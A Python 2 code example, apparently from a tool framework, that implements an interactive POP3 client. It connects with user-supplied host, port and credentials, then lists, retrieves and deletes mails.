        Errors.Errors(event=sys.exc_info()[0], info=False)
    btftp(0)
예제 #37
0
def cpop3(run):
	try:
		global defaulthost,defaultport,defaultuser,defaultpass
		if run!=1:
			actions=raw_input(d.prompt("clt/pop3"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("target","yes","IP or DNS",defaulthost)
			d.descrip("port","no","Port of target",defaultport)
 			d.descrip("user","yes","Username",defaultuser)
 			d.descrip("pass","yes","Password",defaultpass)
			d.space()
			cpop3(0)
		elif actions[0:10] == "set target":
			defaulthost=defaulthost.replace("http://", "")
			defaulthost=ping.update(defaulthost,actions,"target")
			d.change("target",defaulthost)
		elif actions[0:8] == "set port":
			defaultport=ping.update(defaultport,actions,"port")
			d.change("port",defaultport)
		elif actions[0:8] == "set user":
			defaultuser=ping.update(defaultuser,actions,"user")
			d.change("user",defaultuser)
		elif actions[0:8] == "set pass":
			defaultpass=ping.update(defaultpass,actions,"pass")
			d.change("pass",defaultpass)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				red=poplib.POP3(defaulthost, defaultport)
				try:
					red.user(defaultuser)
					red.pass_(defaultpass)	
					if True:
						cmd="nop"
						print "\n "+Hlp+" POP3 Client help\n"
						print "  ----------------------------------------"
						print "  |"+colors[6]+"Commd"+colors[0]+"| "+colors[6]+"Description"+colors[0]+" | "+colors[6]+"Examples"+colors[0]+"         |"
						print "  ----------------------------------------"
						print "  |list	| list mails  | list             |" 
						print "  |retr	| show mail   | retr 2           |"
						print "  |dele	| remove mail | dele 2           |"
						print "  |quit	|exit d remove| quit             | "
						print "  ----------------------------------------"
						print ""
						if True:
							if True:
								if True:
									while(cmd!="exit"):
										cmd = raw_input(d.Client_prompt('pop3'))
										if cmd == "list":
											numMessages = len(red.list()[1])
											for i in range(numMessages):
											    print "	mail "+str(i)
										if cmd[0:4] == "retr":
											for j in red.retr(int(cmd[5:])+1)[1]:
												print j
										if cmd[0:4] == "dele":
											try:
											    red.dele(int(cmd[5:])+1)[1]
											    if True:
											    	print " "+Alr+" email marked for delete ('quit' for exit and delete all email marked)"
											except Exception,e:
												 print(" "+Bad+" Error", e)
										if cmd == "quit":
											red.quit()
											print " "+Alr+" Exit, bye."
											break
				except:
					d.No_match()
			except:
				Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info()[0], info=False)
	cpop3(0)